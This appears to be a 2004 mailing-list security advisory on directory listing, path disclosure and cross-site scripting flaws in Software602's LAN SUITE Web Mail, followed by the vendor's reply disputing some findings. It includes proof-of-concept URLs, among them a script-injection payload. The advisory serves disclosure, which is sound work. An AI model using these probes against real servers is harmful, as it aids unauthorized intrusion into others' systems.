LAN SUITE Web Mail 602Pro Multiple Vulnerabilities

[Rafel Ivgi, The-Insider]

################################################## #####################

Application: LAN SUITE Web Mail
Server: WEB602/1.04
Vendors: Software602, Inc
http://www.software602.com
Versions: 602Pro
Platforms: Windows
Bug: Directory Listing, Local Path Disclosure and Cross Site
Scripting
Risk: Medium
Exploitation: Remote with browser
Date: 28 Feb 2004
Author: Rafel Ivgi, The-Insider
E-mail: the_insider@mail.com
Website: http://theinsider.deep-ice.com

################################################## #####################

1) Introduction
2) Bugs
3) The Code

################################################## #####################

===============
1) Introduction
===============

Software602's PC Suite features a highly capable word processor,
spreadsheet, and photo editor/organizer--and it won't cost you a dime if
you're a
home user. (Commercial customers pay $60, and all users must register the
software
within 30 days to unlock all the features.) Can it compete feature for
feature with
Word and Excel? No, but it has the essential tools you use every day.
You can even get help, if you're willing to pay for it: E-mail support costs
$50 for
one year; phone support is $60 per incident.

################################################## #####################

======
2) Bug
======
Directory Listing:
-----------------------
Upon refering to index.html directory listing of the folder is printed:
http://<host>/index.html - directory listing
http://<host>/cgi-bin/
http://<host>/users/


Local Path Disclosure:
-------------------------------
Inside the mail login form, the local path of the server's folder is
specified.
http://<host>/mail/
<input type="hidden" name="Mail602Dir" value="C:\LANSUITE">


Cross Site Scripting:
----------------------------
When reffering to index.html as folder, text and script injection is
available.
http://<host>/index.html/<script>alert('XSS')</script>

################################################## #####################

===========
3) The Code
===========

Directory Listing: http://<host>/index.html
Directory Listing: http://<host>/cgi-bin/
Local Path Disclosure: <input type="hidden" name="Mail602Dir"
value="C:\LANSUITE">
Cross Site Scripting:
http://<host>/index.html/<script>alert('XSS')</script>

################################################## #####################

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Things that are unlikeable, are NOT impossible."

[Brandon Sturgeon]

In-Reply-To: <000501c3fdfc$7f0202d0$0b3016ac@fucku>

>Directory Listing:
>-----------------------
>Upon refering to index.html directory listing of the folder is printed:
>http://<host>/index.html - directory listing
>http://<host>/cgi-bin/
>http://<host>/users/


This is a user configuration issue, NOT A BUG. If the user enables the option 'Directory browsing', then any folder that does not have an index files can be viewed. This is by design.


>Local Path Disclosure:
>-------------------------------
>Inside the mail login form, the local path of the server's folder is
>specified.
>http://<host>/mail/
><input type="hidden" name="Mail602Dir" value="C:\LANSUITE">


This has been confirmed and fixed in 602LAN SUITE 2004.
You can obtain the latest version at:

http://www.software602.com/download/


>Cross Site Scripting:
>----------------------------
>When reffering to index.html as folder, text and script injection is
>available.
>http://<host>/index.html/&lt;script&gt;alert('XSS')&lt;/script&gt;


From our testing this is a false vulnerability. We have been unable to replicate this issue. We have sent an e-mail to Rafel Ivgi for more information, but Rafel has not supplied us verifiable proof.


Regards,

Brandon Sturgeon
Product Manager
Software602, Inc.
-----------------
http://www.software602.com